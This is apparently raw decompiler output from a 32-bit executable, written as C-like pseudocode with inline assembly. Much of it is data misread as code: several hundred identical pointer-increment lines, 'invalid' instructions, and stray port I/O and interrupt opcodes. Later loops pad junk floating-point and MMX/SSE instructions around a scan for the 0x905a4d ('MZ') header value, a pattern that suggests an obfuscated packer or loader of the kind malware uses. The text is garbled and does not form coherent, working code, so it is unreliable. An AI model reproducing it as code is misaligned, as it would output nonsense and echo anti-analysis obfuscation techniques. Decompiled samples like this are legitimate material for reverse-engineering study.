					 *0x4a90895 =  *0x4a90895 + _t79;
					asm("int 0x0");
					asm("in al, 0x5");
					asm("adc al, [0x3003ff00]");
					 *_t79 =  *_t79 + _t79;
					L3:
					 *_t79 =  *_t79 + _t79;
					 *_t191 =  *_t191 | _t79;
					 *((intOrPtr*)(_t191 + 0x72)) =  *((intOrPtr*)(_t191 + 0x72)) + _t79;
					asm("popad");
					asm("insd");
					_t81 = (_t79 ^  *[gs:eax]) +  *_t127;
					asm("adc [eax], al");
					_t206 =  *(_t191 + 0x74) * 0x616e7265;
					asm("insb");
					_t180 =  *(_t166 + 0x61) * 0x6e6f6974;
					if (_t180 >= 0) goto L4;
					_t82 = _t81 + 0x4530193;
					asm("int 0x1");
					if(_t82 > 0) {
						asm("adc al, [esi]");
					}
					_t116 = _t114 + _t114;
					 *_t82 =  *_t82 + _t82;
					 *_t127 =  *_t127 + _t127;
					_push(es);
					 *((intOrPtr*)(_t191 + 0x72)) =  *((intOrPtr*)(_t191 + 0x72)) + _t82;
					asm("popad");
					asm("insd");
					_t84 = (_t82 ^ 0x00000000) +  *_t127;
					 *_t84 =  *_t84 | _t84;
					_push(_t116);
					_push(_t215);
					_push(_t166);
					_t129 = _t127 + 2;
					_t209 = _t206 +  *_t127 + 2;
					 *0x46402c6 =  *0x46402c6 + _t84;
					_t85 = _t84 + 0x7120539;
					_t117 = _t116 + _t116;
					 *_t85 =  *_t85 + _t85;
					 *_t129 =  *_t129 + _t85;
					 *((intOrPtr*)(_t129 + 0x62)) =  *((intOrPtr*)(_t129 + 0x62)) + _t129;
					asm("gs insb");
					 *_t85 =  *_t85 ^ _t85;
					 *_t129 =  *_t129 + _t85;
					es = es;
					 *((intOrPtr*)(_t209 + 0x6e)) =  *((intOrPtr*)(_t209 + 0x6e)) + _t166;
					_t219 =  *[fs:edi+0x65] * 0xd3050073;
					_t130 = _t129 +  *((intOrPtr*)(_t191 + 3));
					 *_t85 = _t130;
					asm("out dx, eax");
					 *_t166 =  *_t166 + _t166;
					_t86 = _t85;
					 *_t117 =  *_t117 + 1;
					 *_t86 =  *_t86 - _t86;
					 *_t86 =  *_t86 + _t86;
					 *((intOrPtr*)(_t130 + 0x62)) =  *((intOrPtr*)(_t130 + 0x62)) + _t130;
					asm("gs insb");
					_t88 = _t86 +  *_t191 ^  *(_t86 +  *_t191);
					 *_t130 =  *_t130 + _t88;
					 *_t88 =  *_t88 | _t88;
					_t182 = _t180 + 2;
					_t225 = _t182;
					if(_t225 < 0) {
						L16:
						asm("a16 outsb");
						_t209 =  *(_t191 + 0x67) * 0xc300500;
						_push(_t88);
						_t117 = _t117 |  *(_t182 + 0x1201ef04);
						L17:
						asm("adc al, [edx]");
						_t117 = _t117 + _t117;
						_t182 = _t182 +  *((intOrPtr*)(_t219 + 0x60a0000 + _t88 * 4));
						 *((intOrPtr*)(_t130 + 0x6d)) =  *((intOrPtr*)(_t130 + 0x6d)) + _t130;
						asm("popad");
						 *[gs:bx+si] =  *[gs:bx+si] ^ _t88;
						asm("sbb [edx], al");
						asm("sahf");
						 *((intOrPtr*)(_t219 + _t191 * 2)) =  *((intOrPtr*)(_t219 + _t191 * 2)) + _t130;
						L18:
						 *((intOrPtr*)(_t191 + 0x42000084)) =  *((intOrPtr*)(_t191 + 0x42000084)) + _t166;
						L19:
						 *((intOrPtr*)(_t166 + 0x4d)) =  *((intOrPtr*)(_t166 + 0x4d)) + _t88;
						_t89 = _t191;
						_t191 = _t88;
						L20:
						 *_t89 =  *_t89 + _t89;
						L21:
						 *_t89 =  *_t89 + _t89;
						 *_t89 =  *_t89 + _t89;
						 *[ds:eax] =  *[ds:eax] + _t89;
						 *_t89 =  *_t89 + _t130;
						 *_t89 =  *_t89 + _t89;
						 *((intOrPtr*)(_t89 + 0x5d000001)) =  *((intOrPtr*)(_t89 + 0x5d000001)) + _t130;
						_t90 = _t89 +  *_t89;
						 *_t130 =  *_t130 + _t90;
						 *_t130 =  *_t130 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *((intOrPtr*)(_t90 - 0x7c)) =  *((intOrPtr*)(_t90 - 0x7c)) + _t117;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						L22:
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						L23:
						 *_t90 =  *_t90 + _t90;
						 *((intOrPtr*)(_t182 + 0x66)) =  *((intOrPtr*)(_t182 + 0x66)) + _t90;
						asm("clc");
						 *((intOrPtr*)(_t191 + 0x5440)) =  *((intOrPtr*)(_t191 + 0x5440)) + _t90;
						 *_t90 =  *_t90 + _t90;
						L24:
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t90;
						 *_t90 =  *_t90 + _t130;
						 *0x4ffc6132 = _t90;
						asm("wait");
						asm("fclex");
						asm("paddw mm6, mm5");
						_t183 = _t182 + 1;
						asm("paddd mm0, mm5");
						asm("paddd xmm2, xmm1");
						_t119 = _t117 - 1 + 1;
						asm("psubusb xmm3, xmm3");
						asm("por mm0, mm4");
						asm("pmullw xmm0, xmm7");
						asm("lfence");
						asm("fst st4");
						asm("paddd mm5, mm6");
						_t210 = _t209;
						asm("pcmpeqd mm3, mm5");
						_t138 = 0x1490dad;
						asm("punpckldq xmm3, xmm7");
						asm("fxam");
						asm("cld");
						asm("pcmpeqb mm7, mm7");
						asm("psllw mm5, 0xf9");
						do {
							asm("fnop");
							asm("paddsb mm3, mm5");
							asm("fcos");
							_t185 = _t183 - 1 + 1;
							_t249 = _t249 * st1;
							asm("psubusb mm6, mm2");
							asm("wait");
							asm("fninit");
							_t90 = _t90 - 1 + 1;
							asm("psrld mm2, 0x22");
							asm("paddd mm0, mm5");
							_t140 = _t138 - 1 + 1;
							asm("psrld xmm4, 0x9b");
							asm("psubusb xmm3, xmm3");
							_t183 = _t185 - 1 + 1;
							asm("cld");
							asm("paddusw mm4, mm1");
							asm("pmullw xmm0, xmm7");
							asm("clc");
							asm("cld");
							asm("paddusb xmm0, xmm0");
							asm("fst st4");
							_t143 = _t140 + 1;
							asm("emms");
							_t138 = _t143 - 1 + 1;
							_t241 = _t138;
							asm("fsincos");
							asm("punpckldq xmm3, xmm7");
						} while (_t241 != 0);
						asm("packuswb xmm7, xmm6");
						asm("pcmpeqb mm7, mm7");
						_t92 = __imp___CIcos;
						asm("wait");
						asm("fclex");
						asm("paddsb mm3, mm5");
						asm("clc");
						asm("fscale");
						asm("cld");
						asm("faddp st0, st0");
						asm("psrld mm2, 0x22");
						_t93 = _t92 - 1;
						asm("fdecstp");
						asm("psrld xmm4, 0x9b");
						_t94 = _t93 + 1;
						asm("clc");
						asm("fscale");
						asm("paddusw mm4, mm1");
						asm("fldl2t");
						asm("paddusb xmm0, xmm0");
						_t152 = 0x905a4d;
						asm("psubb mm3, mm6");
						asm("emms");
						_t96 = _t94 - 1 + 1;
						asm("paddw mm5, mm1");
						asm("fsincos");
						_t121 = _t119 - 1 + 1;
						asm("ftst");
						asm("in al, 0x66");
						asm("packuswb mm7, mm6");
						asm("invalid");
						_push(_t96);
						do {
							_t122 = _t121 - 1;
							asm("fnop");
							asm("wait");
							asm("fclex");
							_t121 = _t122 + 1;
							asm("clc");
							_t96 = _t96 - 1;
							asm("fdivrp st5, st0");
							asm("fscale");
							_t155 = _t152 - 1 + 1 - 1;
							asm("pcmpgtb mm5, mm3");
							asm("faddp st0, st0");
							_t152 = _t155 + 1;
							_t244 =  *_t96 - _t152;
							asm("invalid");
							asm("punpckhwd mm6, mm2");
							asm("fdecstp");
							asm("invalid");
						} while (_t244 != 0);
						asm("cld");
						asm("psrlw xmm4, 0x52");
						asm("fscale");
						asm("fcom st0, st3");
						asm("fldl2t");
						_t98 = _t96 - 1 + 1;
						asm("clc");
						asm("paddw xmm0, xmm1");
						asm("punpcklbw mm3, mm5");
						asm("fsubp st0, st0");
						asm("packuswb mm4, mm0");
						while(1) {
							asm("cld");
							 *(_t98 - 0x3fffffb) =  *(_t98 - 0x3fffffb) << 0xf;
							asm("emms");
							asm("fprem");
						}
					}
					asm("outsb");
					asm("outsb");
					if(_t225 < 0) {
						goto L17;
					}
					_t25 = (_t88 ^ 0x00000000) + 0x68f02be;
					_t88 = _t219;
					_t219 = _t25;
					_push(es);
					asm("out dx, eax");
					 *_t166 =  *_t166 + _t166;
					 *_t88 =  *_t88 + _t88;
					 *_t117 =  *_t117 + 1;
					 *_t88 =  *_t88 ^ _t88;
					 *_t88 =  *_t88 + _t88;
					_t130 = _t130 +  *_t88;
					_t26 = _t117 + 0x61;
					 *_t26 =  *((intOrPtr*)(_t117 + 0x61)) + _t88;
					if( *_t26 < 0) {
						goto L18;
					}
					_t209 =  *(_t182 + 0x6e) * 0x1010032;
					_push(cs);
					_t29 = _t209 + 0x69;
					 *_t29 =  *((intOrPtr*)(_t209 + 0x69)) + _t130;
					_t227 =  *_t29;
					if(_t227 >= 0) {
						goto L19;
					}
					asm("outsb");
					asm("outsw");
					if(_t227 < 0) {
						goto L21;
					}
					asm("popad");
					if(_t227 == 0) {
						goto L20;
					}
					asm("outsd");
					asm("outsb");
					 *0xa500c30 =  *0xa500c30 + _t88;
					_t182 = 0x1201ef04;
					 *_t88 =  *_t88 + _t88;
					 *_t117 =  *_t117 + 1;
					 *[ss:eax] =  *[ss:eax] + _t88;
